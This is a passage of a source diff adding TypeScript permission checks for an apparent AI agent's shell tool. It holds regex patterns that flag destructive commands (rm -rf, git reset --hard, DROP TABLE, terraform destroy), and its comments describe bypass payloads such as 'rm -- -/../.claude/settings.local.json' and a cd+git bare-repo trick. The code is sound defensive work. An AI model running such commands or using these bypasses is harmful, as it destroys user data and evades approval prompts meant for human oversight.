xFQUFzQixJQUF6RCxDQUEwQ0UsZUFjbkMsR0FiTixDQUFDLGVBQWUsQ0FBUyxNQUFDLENBQUQsR0FBQyxDQUN4QixDQUFDLElBQUksQ0FBQyxRQUFRLENBQVIsS0FBTyxDQUFDLENBQ1gsQ0FBQWEsZ0JBQWdCLEdBQWhCLEVBQ0cseUJBQzBCLElBQUUsQ0FDNUIsQ0FBQyxvQkFBb0IsQ0FBVSxRQUFHLENBQUgsU0FBRSxDQUFDLENBQVEsTUFBUSxDQUFSLFFBQVEsQ0FBQyxNQUFNLENBQU4sS0FBSyxDQUFDLEdBQUcsR0FLL0QsR0FGQ0Ysd0JBQzJDLEtBQTFDQyxnQkFBZ0IsR0FBaEIsTUFBeUMsR0FBekMsYUFBMEMsQ0FDN0MsQ0FDRixFQVZDLElBQUksQ0FXUCxFQVpDLGVBQWUsQ0FhVixHQWRQLElBY087SUFBQVIsQ0FBQSxPQUFBUyxnQkFBQTtJQUFBVCxDQUFBLE9BQUFKLGVBQUE7SUFBQUksQ0FBQSxPQUFBUSxnQkFBQTtJQUFBUixDQUFBLE9BQUFPLHdCQUFBO0lBQUFQLENBQUEsT0FBQVYsTUFBQTtJQUFBVSxDQUFBLE9BQUFHLE1BQUE7SUFBQUgsQ0FBQSxPQUFBc0IsRUFBQTtFQUFBO0lBQUFBLEVBQUEsR0FBQXRCLENBQUE7RUFBQTtFQUFBLElBQUF1QixHQUFBO0VBQUEsSUFBQXZCLENBQUEsU0FBQWIsU0FBQTtJQUNQb0MsR0FBQSxHQUFBcEMsU0FJQSxJQUhDLENBQUMsZUFBZSxDQUNkLENBQUMsZ0JBQWdCLENBQVlBLFNBQVMsQ0FBVEEsVUFBUSxDQUFDLEdBQ3hDLEVBRkMsZUFBZSxDQUdqQjtJQUFBYSxDQUFBLE9BQUFiLFNBQUE7SUFBQWEsQ0FBQSxPQUFBdUIsR0FBQTtFQUFBO0lBQUFBLEdBQUEsR0FBQXZCLENBQUE7RUFBQTtFQUFBLElBQUF3QixHQUFBO0VBQUEsSUFBQXhCLENBQUEsU0FBQVksRUFBQSxJQUFBWixDQUFBLFNBQUF1QixHQUFBLElBQUF2QixDQUFBLFNBQUFhLEVBQUEsSUFBQWIsQ0FBQSxTQUFBYyxFQUFBLElBQUFkLENBQUEsU0FBQWUsRUFBQSxJQUFBZixDQUFBLFNBQUFxQixFQUFBLElBQUFyQixDQUFBLFNBQUFzQixFQUFBO0lBN0JIRSxHQUFBLElBQUMsRUFBRyxDQUFlLGFBQVEsQ0FBUixDQUFBWCxFQUFPLENBQUMsQ0FDeEIsQ0FBQUMsRUFBdUUsQ0FDdkUsQ0FBQUMsRUFFTSxDQUNOLENBQUFNLEVBSU0sQ0FDTixDQUFBQyxFQWNNLENBQ04sQ0FBQUMsR0FJRCxDQUNGLEVBOUJDLEVBQUcsQ0E4QkU7SUFBQXZCLENBQUEsT0FBQVksRUFBQTtJQUFBWixDQUFBLE9BQUF1QixHQUFBO0lBQUF2QixDQUFBLE9BQUFhLEVBQUE7SUFBQWIsQ0FBQSxPQUFBYyxFQUFBO0lBQUFkLENBQUEsT0FBQWUsRUFBQTtJQUFBZixDQUFBLE9BQUFxQixFQUFBO0lBQUFyQixDQUFBLE9BQUFzQixFQUFBO0lBQUF0QixDQUFBLE9BQUF3QixHQUFBO0VBQUE7SUFBQUEsR0FBQSxHQUFBeEIsQ0FBQTtFQUFBO0VBQUEsT0E5Qk53QixHQThCTTtBQUFBIiwiaWdub3JlTGlzdCI6W119

src/tools/BashTool/bashCommandHelpers.ts

@@ -0,0 +1,265 @@
+import type { z } from 'zod/v4'
+import {
+  isUnsafeCompoundCommand_DEPRECATED,
+  splitCommand_DEPRECATED,
+} from '../../utils/bash/commands.js'
+import {
+  buildParsedCommandFromRoot,
+  type IParsedCommand,
+  ParsedCommand,
+} from '../../utils/bash/ParsedCommand.js'
+import { type Node, PARSE_ABORTED } from '../../utils/bash/parser.js'
+import type { PermissionResult } from '../../utils/permissions/PermissionResult.js'
+import type { PermissionUpdate } from '../../utils/permissions/PermissionUpdateSchema.js'
+import { createPermissionRequestMessage } from '../../utils/permissions/permissions.js'
+import { BashTool } from './BashTool.js'
+import { bashCommandIsSafeAsync_DEPRECATED } from './bashSecurity.js'
+
+export type CommandIdentityCheckers = {
+  isNormalizedCdCommand: (command: string) => boolean
+  isNormalizedGitCommand: (command: string) => boolean
+}
+
+async function segmentedCommandPermissionResult(
+  input: z.infer<typeof BashTool.inputSchema>,
+  segments: string[],
+  bashToolHasPermissionFn: (
+    input: z.infer<typeof BashTool.inputSchema>,
+  ) => Promise<PermissionResult>,
+  checkers: CommandIdentityCheckers,
+): Promise<PermissionResult> {
+  // Check for multiple cd commands across all segments
+  const cdCommands = segments.filter(segment => {
+    const trimmed = segment.trim()
+    return checkers.isNormalizedCdCommand(trimmed)
+  })
+  if (cdCommands.length > 1) {
+    const decisionReason = {
+      type: 'other' as const,
+      reason:
+        'Multiple directory changes in one command require approval for clarity',
+    }
+    return {
+      behavior: 'ask',
+      decisionReason,
+      message: createPermissionRequestMessage(BashTool.name, decisionReason),
+    }
+  }
+
+  // SECURITY: Check for cd+git across pipe segments to prevent bare repo fsmonitor bypass.
+  // When cd and git are in different pipe segments (e.g., "cd sub && echo | git status"),
+  // each segment is checked independently and neither triggers the cd+git check in
+  // bashPermissions.ts. We must detect this cross-segment pattern here.
+  // Each pipe segment can itself be a compound command (e.g., "cd sub && echo"),
+  // so we split each segment into subcommands before checking.
+  {
+    let hasCd = false
+    let hasGit = false
+    for (const segment of segments) {
+      const subcommands = splitCommand_DEPRECATED(segment)
+      for (const sub of subcommands) {
+        const trimmed = sub.trim()
+        if (checkers.isNormalizedCdCommand(trimmed)) {
+          hasCd = true
+        }
+        if (checkers.isNormalizedGitCommand(trimmed)) {
+          hasGit = true
+        }
+      }
+    }
+    if (hasCd && hasGit) {
+      const decisionReason = {
+        type: 'other' as const,
+        reason:
+          'Compound commands with cd and git require approval to prevent bare repository attacks',
+      }
+      return {
+        behavior: 'ask',
+        decisionReason,
+        message: createPermissionRequestMessage(BashTool.name, decisionReason),
+      }
+    }
+  }
+
+  const segmentResults = new Map<string, PermissionResult>()
+
+  // Check each segment through the full permission system
+  for (const segment of segments) {
+    const trimmedSegment = segment.trim()
+    if (!trimmedSegment) continue // Skip empty segments
+
+    const segmentResult = await bashToolHasPermissionFn({
+      ...input,
+      command: trimmedSegment,
+    })
+    segmentResults.set(trimmedSegment, segmentResult)
+  }
+
+  // Check if any segment is denied (after evaluating all)
+  const deniedSegment = Array.from(segmentResults.entries()).find(
+    ([, result]) => result.behavior === 'deny',
+  )
+
+  if (deniedSegment) {
+    const [segmentCommand, segmentResult] = deniedSegment
+    return {
+      behavior: 'deny',
+      message:
+        segmentResult.behavior === 'deny'
+          ? segmentResult.message
+          : `Permission denied for: ${segmentCommand}`,
+      decisionReason: {
+        type: 'subcommandResults',
+        reasons: segmentResults,
+      },
+    }
+  }
+
+  const allAllowed = Array.from(segmentResults.values()).every(
+    result => result.behavior === 'allow',
+  )
+
+  if (allAllowed) {
+    return {
+      behavior: 'allow',
+      updatedInput: input,
+      decisionReason: {
+        type: 'subcommandResults',
+        reasons: segmentResults,
+      },
+    }
+  }
+
+  // Collect suggestions from segments that need approval
+  const suggestions: PermissionUpdate[] = []
+  for (const [, result] of segmentResults) {
+    if (
+      result.behavior !== 'allow' &&
+      'suggestions' in result &&
+      result.suggestions
+    ) {
+      suggestions.push(...result.suggestions)
+    }
+  }
+
+  const decisionReason = {
+    type: 'subcommandResults' as const,
+    reasons: segmentResults,
+  }
+
+  return {
+    behavior: 'ask',
+    message: createPermissionRequestMessage(BashTool.name, decisionReason),
+    decisionReason,
+    suggestions: suggestions.length > 0 ? suggestions : undefined,
+  }
+}
+
+/**
+ * Builds a command segment, stripping output redirections to avoid
+ * treating filenames as commands in permission checking.
+ * Uses ParsedCommand to preserve original quoting.
+ */
+async function buildSegmentWithoutRedirections(
+  segmentCommand: string,
+): Promise<string> {
+  // Fast path: skip parsing if no redirection operators present
+  if (!segmentCommand.includes('>')) {
+    return segmentCommand
+  }
+
+  // Use ParsedCommand to strip redirections while preserving quotes
+  const parsed = await ParsedCommand.parse(segmentCommand)
+  return parsed?.withoutOutputRedirections() ?? segmentCommand
+}
+
+/**
+ * Wrapper that resolves an IParsedCommand (from a pre-parsed AST root if
+ * available, else via ParsedCommand.parse) and delegates to
+ * bashToolCheckCommandOperatorPermissions.
+ */
+export async function checkCommandOperatorPermissions(
+  input: z.infer<typeof BashTool.inputSchema>,
+  bashToolHasPermissionFn: (
+    input: z.infer<typeof BashTool.inputSchema>,
+  ) => Promise<PermissionResult>,
+  checkers: CommandIdentityCheckers,
+  astRoot: Node | null | typeof PARSE_ABORTED,
+): Promise<PermissionResult> {
+  const parsed =
+    astRoot && astRoot !== PARSE_ABORTED
+      ? buildParsedCommandFromRoot(input.command, astRoot)
+      : await ParsedCommand.parse(input.command)
+  if (!parsed) {
+    return { behavior: 'passthrough', message: 'Failed to parse command' }
+  }
+  return bashToolCheckCommandOperatorPermissions(
+    input,
+    bashToolHasPermissionFn,
+    checkers,
+    parsed,
+  )
+}
+
+/**
+ * Checks if the command has special operators that require behavior beyond
+ * simple subcommand checking.
+ */
+async function bashToolCheckCommandOperatorPermissions(
+  input: z.infer<typeof BashTool.inputSchema>,
+  bashToolHasPermissionFn: (
+    input: z.infer<typeof BashTool.inputSchema>,
+  ) => Promise<PermissionResult>,
+  checkers: CommandIdentityCheckers,
+  parsed: IParsedCommand,
+): Promise<PermissionResult> {
+  // 1. Check for unsafe compound commands (subshells, command groups).
+  const tsAnalysis = parsed.getTreeSitterAnalysis()
+  const isUnsafeCompound = tsAnalysis
+    ? tsAnalysis.compoundStructure.hasSubshell ||
+      tsAnalysis.compoundStructure.hasCommandGroup
+    : isUnsafeCompoundCommand_DEPRECATED(input.command)
+  if (isUnsafeCompound) {
+    // This command contains an operator like `>` that we don't support as a subcommand separator
+    // Check if bashCommandIsSafe_DEPRECATED has a more specific message
+    const safetyResult = await bashCommandIsSafeAsync_DEPRECATED(input.command)
+
+    const decisionReason = {
+      type: 'other' as const,
+      reason:
+        safetyResult.behavior === 'ask' && safetyResult.message
+          ? safetyResult.message
+          : 'This command uses shell operators that require approval for safety',
+    }
+    return {
+      behavior: 'ask',
+      message: createPermissionRequestMessage(BashTool.name, decisionReason),
+      decisionReason,
+      // This is an unsafe compound command, so we don't want to suggest rules since we wont be able to allow it
+    }
+  }
+
+  // 2. Check for piped commands using ParsedCommand (preserves quotes)
+  const pipeSegments = parsed.getPipeSegments()
+
+  // If no pipes (single segment), let normal flow handle it
+  if (pipeSegments.length <= 1) {
+    return {
+      behavior: 'passthrough',
+      message: 'No pipes found in command',
+    }
+  }
+
+  // Strip output redirections from each segment while preserving quotes
+  const segments = await Promise.all(
+    pipeSegments.map(segment => buildSegmentWithoutRedirections(segment)),
+  )
+
+  // Handle as segmented command
+  return segmentedCommandPermissionResult(
+    input,
+    segments,
+    bashToolHasPermissionFn,
+    checkers,
+  )
+}

src/tools/BashTool/commentLabel.ts

@@ -0,0 +1,13 @@
+/**
+ * If the first line of a bash command is a `# comment` (not a `#!` shebang),
+ * return the comment text stripped of the `#` prefix. Otherwise undefined.
+ *
+ * Under fullscreen mode this is the non-verbose tool-use label AND the
+ * collapse-group ⎿ hint — it's what Claude wrote for the human to read.
+ */
+export function extractBashCommentLabel(command: string): string | undefined {
+  const nl = command.indexOf('\n')
+  const firstLine = (nl === -1 ? command : command.slice(0, nl)).trim()
+  if (!firstLine.startsWith('#') || firstLine.startsWith('#!')) return undefined
+  return firstLine.replace(/^#+\s*/, '') || undefined
+}

src/tools/BashTool/destructiveCommandWarning.ts

@@ -0,0 +1,102 @@
+/**
+ * Detects potentially destructive bash commands and returns a warning string
+ * for display in the permission dialog. This is purely informational — it
+ * doesn't affect permission logic or auto-approval.
+ */
+
+type DestructivePattern = {
+  pattern: RegExp
+  warning: string
+}
+
+const DESTRUCTIVE_PATTERNS: DestructivePattern[] = [
+  // Git — data loss / hard to reverse
+  {
+    pattern: /\bgit\s+reset\s+--hard\b/,
+    warning: 'Note: may discard uncommitted changes',
+  },
+  {
+    pattern: /\bgit\s+push\b[^;&|\n]*[ \t](--force|--force-with-lease|-f)\b/,
+    warning: 'Note: may overwrite remote history',
+  },
+  {
+    pattern:
+      /\bgit\s+clean\b(?![^;&|\n]*(?:-[a-zA-Z]*n|--dry-run))[^;&|\n]*-[a-zA-Z]*f/,
+    warning: 'Note: may permanently delete untracked files',
+  },
+  {
+    pattern: /\bgit\s+checkout\s+(--\s+)?\.[ \t]*($|[;&|\n])/,
+    warning: 'Note: may discard all working tree changes',
+  },
+  {
+    pattern: /\bgit\s+restore\s+(--\s+)?\.[ \t]*($|[;&|\n])/,
+    warning: 'Note: may discard all working tree changes',
+  },
+  {
+    pattern: /\bgit\s+stash[ \t]+(drop|clear)\b/,
+    warning: 'Note: may permanently remove stashed changes',
+  },
+  {
+    pattern:
+      /\bgit\s+branch\s+(-D[ \t]|--delete\s+--force|--force\s+--delete)\b/,
+    warning: 'Note: may force-delete a branch',
+  },
+
+  // Git — safety bypass
+  {
+    pattern: /\bgit\s+(commit|push|merge)\b[^;&|\n]*--no-verify\b/,
+    warning: 'Note: may skip safety hooks',
+  },
+  {
+    pattern: /\bgit\s+commit\b[^;&|\n]*--amend\b/,
+    warning: 'Note: may rewrite the last commit',
+  },
+
+  // File deletion (dangerous paths already handled by checkDangerousRemovalPaths)
+  {
+    pattern:
+      /(^|[;&|\n]\s*)rm\s+-[a-zA-Z]*[rR][a-zA-Z]*f|(^|[;&|\n]\s*)rm\s+-[a-zA-Z]*f[a-zA-Z]*[rR]/,
+    warning: 'Note: may recursively force-remove files',
+  },
+  {
+    pattern: /(^|[;&|\n]\s*)rm\s+-[a-zA-Z]*[rR]/,
+    warning: 'Note: may recursively remove files',
+  },
+  {
+    pattern: /(^|[;&|\n]\s*)rm\s+-[a-zA-Z]*f/,
+    warning: 'Note: may force-remove files',
+  },
+
+  // Database
+  {
+    pattern: /\b(DROP|TRUNCATE)\s+(TABLE|DATABASE|SCHEMA)\b/i,
+    warning: 'Note: may drop or truncate database objects',
+  },
+  {
+    pattern: /\bDELETE\s+FROM\s+\w+[ \t]*(;|"|'|\n|$)/i,
+    warning: 'Note: may delete all rows from a database table',
+  },
+
+  // Infrastructure
+  {
+    pattern: /\bkubectl\s+delete\b/,
+    warning: 'Note: may delete Kubernetes resources',
+  },
+  {
+    pattern: /\bterraform\s+destroy\b/,
+    warning: 'Note: may destroy Terraform infrastructure',
+  },
+]
+
+/**
+ * Checks if a bash command matches known destructive patterns.
+ * Returns a human-readable warning string, or null if no destructive pattern is detected.
+ */
+export function getDestructiveCommandWarning(command: string): string | null {
+  for (const { pattern, warning } of DESTRUCTIVE_PATTERNS) {
+    if (pattern.test(command)) {
+      return warning
+    }
+  }
+  return null
+}

src/tools/BashTool/modeValidation.ts

@@ -0,0 +1,115 @@
+import type { z } from 'zod/v4'
+import type { ToolPermissionContext } from '../../Tool.js'
+import { splitCommand_DEPRECATED } from '../../utils/bash/commands.js'
+import type { PermissionResult } from '../../utils/permissions/PermissionResult.js'
+import type { BashTool } from './BashTool.js'
+
+const ACCEPT_EDITS_ALLOWED_COMMANDS = [
+  'mkdir',
+  'touch',
+  'rm',
+  'rmdir',
+  'mv',
+  'cp',
+  'sed',
+] as const
+
+type FilesystemCommand = (typeof ACCEPT_EDITS_ALLOWED_COMMANDS)[number]
+
+function isFilesystemCommand(command: string): command is FilesystemCommand {
+  return ACCEPT_EDITS_ALLOWED_COMMANDS.includes(command as FilesystemCommand)
+}
+
+function validateCommandForMode(
+  cmd: string,
+  toolPermissionContext: ToolPermissionContext,
+): PermissionResult {
+  const trimmedCmd = cmd.trim()
+  const [baseCmd] = trimmedCmd.split(/\s+/)
+
+  if (!baseCmd) {
+    return {
+      behavior: 'passthrough',
+      message: 'Base command not found',
+    }
+  }
+
+  // In Accept Edits mode, auto-allow filesystem operations
+  if (
+    toolPermissionContext.mode === 'acceptEdits' &&
+    isFilesystemCommand(baseCmd)
+  ) {
+    return {
+      behavior: 'allow',
+      updatedInput: { command: cmd },
+      decisionReason: {
+        type: 'mode',
+        mode: 'acceptEdits',
+      },
+    }
+  }
+
+  return {
+    behavior: 'passthrough',
+    message: `No mode-specific handling for '${baseCmd}' in ${toolPermissionContext.mode} mode`,
+  }
+}
+
+/**
+ * Checks if commands should be handled differently based on the current permission mode
+ *
+ * This is the main entry point for mode-based permission logic.
+ * Currently handles Accept Edits mode for filesystem commands,
+ * but designed to be extended for other modes.
+ *
+ * @param input - The bash command input
+ * @param toolPermissionContext - Context containing mode and permissions
+ * @returns
+ * - 'allow' if the current mode permits auto-approval
+ * - 'ask' if the command needs approval in current mode
+ * - 'passthrough' if no mode-specific handling applies
+ */
+export function checkPermissionMode(
+  input: z.infer<typeof BashTool.inputSchema>,
+  toolPermissionContext: ToolPermissionContext,
+): PermissionResult {
+  // Skip if in bypass mode (handled elsewhere)
+  if (toolPermissionContext.mode === 'bypassPermissions') {
+    return {
+      behavior: 'passthrough',
+      message: 'Bypass mode is handled in main permission flow',
+    }
+  }
+
+  // Skip if in dontAsk mode (handled in main permission flow)
+  if (toolPermissionContext.mode === 'dontAsk') {
+    return {
+      behavior: 'passthrough',
+      message: 'DontAsk mode is handled in main permission flow',
+    }
+  }
+
+  const commands = splitCommand_DEPRECATED(input.command)
+
+  // Check each subcommand
+  for (const cmd of commands) {
+    const result = validateCommandForMode(cmd, toolPermissionContext)
+
+    // If any command triggers mode-specific behavior, return that result
+    if (result.behavior !== 'passthrough') {
+      return result
+    }
+  }
+
+  // No mode-specific handling needed
+  return {
+    behavior: 'passthrough',
+    message: 'No mode-specific validation required',
+  }
+}
+
+export function getAutoAllowedCommands(
+  mode: ToolPermissionContext['mode'],
+): readonly string[] {
+  return mode === 'acceptEdits' ? ACCEPT_EDITS_ALLOWED_COMMANDS : []
+}

src/tools/BashTool/pathValidation.ts

@@ -0,0 +1,1303 @@
+import { homedir } from 'os'
+import { isAbsolute, resolve } from 'path'
+import type { z } from 'zod/v4'
+import type { ToolPermissionContext } from '../../Tool.js'
+import type { Redirect, SimpleCommand } from '../../utils/bash/ast.js'
+import {
+  extractOutputRedirections,
+  splitCommand_DEPRECATED,
+} from '../../utils/bash/commands.js'
+import { tryParseShellCommand } from '../../utils/bash/shellQuote.js'
+import { getDirectoryForPath } from '../../utils/path.js'
+import { allWorkingDirectories } from '../../utils/permissions/filesystem.js'
+import type { PermissionResult } from '../../utils/permissions/PermissionResult.js'
+import { createReadRuleSuggestion } from '../../utils/permissions/PermissionUpdate.js'
+import type { PermissionUpdate } from '../../utils/permissions/PermissionUpdateSchema.js'
+import {
+  expandTilde,
+  type FileOperationType,
+  formatDirectoryList,
+  isDangerousRemovalPath,
+  validatePath,
+} from '../../utils/permissions/pathValidation.js'
+import type { BashTool } from './BashTool.js'
+import { stripSafeWrappers } from './bashPermissions.js'
+import { sedCommandIsAllowedByAllowlist } from './sedValidation.js'
+
+export type PathCommand =
+  | 'cd'
+  | 'ls'
+  | 'find'
+  | 'mkdir'
+  | 'touch'
+  | 'rm'
+  | 'rmdir'
+  | 'mv'
+  | 'cp'
+  | 'cat'
+  | 'head'
+  | 'tail'
+  | 'sort'
+  | 'uniq'
+  | 'wc'
+  | 'cut'
+  | 'paste'
+  | 'column'
+  | 'tr'
+  | 'file'
+  | 'stat'
+  | 'diff'
+  | 'awk'
+  | 'strings'
+  | 'hexdump'
+  | 'od'
+  | 'base64'
+  | 'nl'
+  | 'grep'
+  | 'rg'
+  | 'sed'
+  | 'git'
+  | 'jq'
+  | 'sha256sum'
+  | 'sha1sum'
+  | 'md5sum'
+
+/**
+ * Checks if an rm/rmdir command targets dangerous paths that should always
+ * require explicit user approval, even if allowlist rules exist.
+ * This prevents catastrophic data loss from commands like `rm -rf /`.
+ */
+function checkDangerousRemovalPaths(
+  command: 'rm' | 'rmdir',
+  args: string[],
+  cwd: string,
+): PermissionResult {
+  // Extract paths using the existing path extractor
+  const extractor = PATH_EXTRACTORS[command]
+  const paths = extractor(args)
+
+  for (const path of paths) {
+    // Expand tilde and resolve to absolute path
+    // NOTE: We check the path WITHOUT resolving symlinks, because dangerous paths
+    // like /tmp should be caught even though /tmp is a symlink to /private/tmp on macOS
+    const cleanPath = expandTilde(path.replace(/^['"]|['"]$/g, ''))
+    const absolutePath = isAbsolute(cleanPath)
+      ? cleanPath
+      : resolve(cwd, cleanPath)
+
+    // Check if this is a dangerous path (using the non-symlink-resolved path)
+    if (isDangerousRemovalPath(absolutePath)) {
+      return {
+        behavior: 'ask',
+        message: `Dangerous ${command} operation detected: '${absolutePath}'\n\nThis command would remove a critical system directory. This requires explicit approval and cannot be auto-allowed by permission rules.`,
+        decisionReason: {
+          type: 'other',
+          reason: `Dangerous ${command} operation on critical path: ${absolutePath}`,
+        },
+        // Don't provide suggestions - we don't want to encourage saving dangerous commands
+        suggestions: [],
+      }
+    }
+  }
+
+  // No dangerous paths found
+  return {
+    behavior: 'passthrough',
+    message: `No dangerous removals detected for ${command} command`,
+  }
+}
+
+/**
+ * SECURITY: Extract positional (non-flag) arguments, correctly handling the
+ * POSIX `--` end-of-options delimiter.
+ *
+ * Most commands (rm, cat, touch, etc.) stop parsing options at `--` and treat
+ * ALL subsequent arguments as positional, even if they start with `-`. Naive
+ * `!arg.startsWith('-')` filtering drops these, causing path validation to be
+ * silently skipped for attack payloads like:
+ *
+ *   rm -- -/../.claude/settings.local.json
+ *
+ * Here `-/../.claude/settings.local.json` starts with `-` so the naive filter
+ * drops it, validation sees zero paths, returns passthrough, and the file is
+ * deleted without a prompt. With `--` handling, the path IS extracted and
+ * validated (blocked by isClaudeConfigFilePath / pathInAllowedWorkingPath).
+ */
+function filterOutFlags(args: string[]): string[] {
+  const result: string[] = []
+  let afterDoubleDash = false
+  for (const arg of args) {
+    if (afterDoubleDash) {
+      result.push(arg)
+    } else if (arg === '--') {
+      afterDoubleDash = true
+    } else if (!arg?.startsWith('-')) {
+      result.push(arg)
+    }
+  }
+  return result
+}
+
+// Helper: Parse grep/rg style commands (pattern then paths)
+function parsePatternCommand(
+  args: string[],
+  flagsWithArgs: Set<string>,
+  defaults: string[] = [],
+): string[] {
+  const paths: string[] = []
+  let patternFound = false
+  // SECURITY: Track `--` end-of-options delimiter. After `--`, all args are
+  // positional regardless of leading `-`. See filterOutFlags() doc comment.
+  let afterDoubleDash = false
+
+  for (let i = 0; i < args.length; i++) {
+    const arg = args[i]
+    if (arg === undefined || arg === null) continue
+
+    if (!afterDoubleDash && arg === '--') {
+      afterDoubleDash = true
+      continue
+    }
+
+    if (!afterDoubleDash && arg.startsWith('-')) {
+      const flag = arg.split('=')[0]
+      // Pattern flags mark that we've found the pattern
+      if (flag && ['-e', '--regexp', '-f', '--file'].includes(flag)) {
+        patternFound = true
+      }
+      // Skip next arg if flag needs it
+      if (flag && flagsWithArgs.has(flag) && !arg.includes('=')) {
+        i++
+      }
+      continue
+    }
+
+    // First non-flag is pattern, rest are paths
+    if (!patternFound) {
+      patternFound = true
+      continue
+    }
+    paths.push(arg)
+  }
+
+  return paths.length > 0 ? paths : defaults
+}
+
+/**
+ * Extracts paths from command arguments for different path commands.
+ * Each command has specific logic for how it handles paths and flags.
+ */
+export const PATH_EXTRACTORS: Record<
+  PathCommand,
+  (args: string[]) => string[]
+> = {
+  // cd: special case - all args form one path
+  cd: args => (args.length === 0 ? [homedir()] : [args.join(' ')]),
+
+  // ls: filter flags, default to current dir
+  ls: args => {
+    const paths = filterOutFlags(args)
+    return paths.length > 0 ? paths : ['.']
+  },
+
+  // find: collect paths until hitting a real flag, also check path-taking flags
+  // SECURITY: `find -- -path` makes `-path` a starting point (not a predicate).
+  // GNU find supports `--` to allow search roots starting with `-`. After `--`,
+  // we conservatively collect all remaining args as paths to validate. This
+  // over-includes predicates like `-name foo`, but find is a read-only op and
+  // predicates resolve to paths within cwd (allowed), so no false blocks for
+  // legitimate use. The over-inclusion ensures attack paths like
+  // `find -- -/../../etc` are caught.
+  find: args => {
+    const paths: string[] = []
+    const pathFlags = new Set([
+      '-newer',
+      '-anewer',
+      '-cnewer',
+      '-mnewer',
+      '-samefile',
+      '-path',
+      '-wholename',
+      '-ilname',
+      '-lname',
+      '-ipath',
+      '-iwholename',
+    ])
+    const newerPattern = /^-newer[acmBt][acmtB]$/
+    let foundNonGlobalFlag = false
+    let afterDoubleDash = false
+
+    for (let i = 0; i < args.length; i++) {
+      const arg = args[i]
+      if (!arg) continue
+
+      if (afterDoubleDash) {
+        paths.push(arg)
+        continue
+      }
+
+      if (arg === '--') {
+        afterDoubleDash = true
+        continue
+      }
+
+      // Handle flags
+      if (arg.startsWith('-')) {
+        // Global options don't stop collection
+        if (['-H', '-L', '-P'].includes(arg)) continue
+
+        // Mark that we've seen a non-global flag
+        foundNonGlobalFlag = true
+
+        // Check if this flag takes a path argument
+        if (pathFlags.has(arg) || newerPattern.test(arg)) {
+          const nextArg = args[i + 1]
+          if (nextArg) {
+            paths.push(nextArg)
+            i++ // Skip the path we just processed
+          }
+        }
+        continue
+      }
+
+      // Only collect non-flag arguments before first non-global flag
+      if (!foundNonGlobalFlag) {
+        paths.push(arg)
+      }
+    }
+    return paths.length > 0 ? paths : ['.']
+  },
+
+  // All simple commands: just filter out flags
+  mkdir: filterOutFlags,
+  touch: filterOutFlags,
+  rm: filterOutFlags,
+  rmdir: filterOutFlags,
+  mv: filterOutFlags,
+  cp: filterOutFlags,
+  cat: filterOutFlags,
+  head: filterOutFlags,
+  tail: filterOutFlags,
+  sort: filterOutFlags,
+  uniq: filterOutFlags,
+  wc: filterOutFlags,
+  cut: filterOutFlags,
+  paste: filterOutFlags,
+  column: filterOutFlags,
+  file: filterOutFlags,
+  stat: filterOutFlags,
+  diff: filterOutFlags,
+  awk: filterOutFlags,
+  strings: filterOutFlags,
+  hexdump: filterOutFlags,
+  od: filterOutFlags,
+  base64: filterOutFlags,
+  nl: filterOutFlags,
+  sha256sum: filterOutFlags,
+  sha1sum: filterOutFlags,
+  md5sum: filterOutFlags,
+
+  // tr: special case - skip character sets
+  tr: args => {
+    const hasDelete = args.some(
+      a =>
+        a === '-d' ||
+        a === '--delete' ||
+        (a.startsWith('-') && a.includes('d')),
+    )
+    const nonFlags = filterOutFlags(args)
+    return nonFlags.slice(hasDelete ? 1 : 2) // Skip SET1 or SET1+SET2
+  },
+
+  // grep: pattern then paths, defaults to stdin
+  grep: args => {
+    const flags = new Set([
+      '-e',
+      '--regexp',
+      '-f',
+      '--file',
+      '--exclude',
+      '--include',
+      '--exclude-dir',
+      '--include-dir',
+      '-m',
+      '--max-count',
+      '-A',
+      '--after-context',
+      '-B',
+      '--before-context',
+      '-C',
+      '--context',
+    ])
+    const paths = parsePatternCommand(args, flags)
+    // Special: if -r/-R flag present and no paths, use current dir
+    if (
+      paths.length === 0 &&
+      args.some(a => ['-r', '-R', '--recursive'].includes(a))
+    ) {
+      return ['.']
+    }
+    return paths
+  },
+
+  // rg: pattern then paths, defaults to current dir
+  rg: args => {
+    const flags = new Set([
+      '-e',
+      '--regexp',
+      '-f',
+      '--file',
+      '-t',
+      '--type',
+      '-T',
+      '--type-not',
+      '-g',
+      '--glob',
+      '-m',
+      '--max-count',
+      '--max-depth',
+      '-r',
+      '--replace',
+      '-A',
+      '--after-context',
+      '-B',
+      '--before-context',
+      '-C',
+      '--context',
+    ])
+    return parsePatternCommand(args, flags, ['.'])
+  },
+
+  // sed: processes files in-place or reads from stdin
+  sed: args => {
+    const paths: string[] = []
+    let skipNext = false
+    let scriptFound = false
+    // SECURITY: Track `--` end-of-options delimiter. After `--`, all args are
+    // positional regardless of leading `-`. See filterOutFlags() doc comment.
+    let afterDoubleDash = false
+
+    for (let i = 0; i < args.length; i++) {
+      if (skipNext) {
+        skipNext = false
+        continue
+      }
+
+      const arg = args[i]
+      if (!arg) continue
+
+      if (!afterDoubleDash && arg === '--') {
+        afterDoubleDash = true
+        continue
+      }
+
+      // Handle flags (only before `--`)
+      if (!afterDoubleDash && arg.startsWith('-')) {
+        // -f flag: next arg is a script file that needs validation
+        if (['-f', '--file'].includes(arg)) {
+          const scriptFile = args[i + 1]
+          if (scriptFile) {
+            paths.push(scriptFile) // Add script file to paths for validation
+            skipNext = true
+          }
+          scriptFound = true
+        }
+        // -e flag: next arg is expression, not a file
+        else if (['-e', '--expression'].includes(arg)) {
+          skipNext = true
+          scriptFound = true
+        }
+        // Combined flags like -ie or -nf
+        else if (arg.includes('e') || arg.includes('f')) {
+          scriptFound = true
+        }
+        continue
+      }
+
+      // First non-flag is the script (if not already found via -e/-f)
+      if (!scriptFound) {
+        scriptFound = true
+        continue
+      }
+
+      // Rest are file paths
+      paths.push(arg)
+    }
+
+    return paths
+  },
+
+  // jq: filter then file paths (similar to grep)
+  // The jq command structure is: jq [flags] filter [files...]
+  // If no files are provided, jq reads from stdin
+  jq: args => {
+    const paths: string[] = []
+    const flagsWithArgs = new Set([
+      '-e',
+      '--expression',
+      '-f',
+      '--from-file',
+      '--arg',
+      '--argjson',
+      '--slurpfile',
+      '--rawfile',
+      '--args',
+      '--jsonargs',
+      '-L',
+      '--library-path',
+      '--indent',
+      '--tab',
+    ])
+    let filterFound = false
+    // SECURITY: Track `--` end-of-options delimiter. After `--`, all args are
+    // positional regardless of leading `-`. See filterOutFlags() doc comment.
+    let afterDoubleDash = false
+
+    for (let i = 0; i < args.length; i++) {
+      const arg = args[i]
+      if (arg === undefined || arg === null) continue
+
+      if (!afterDoubleDash && arg === '--') {
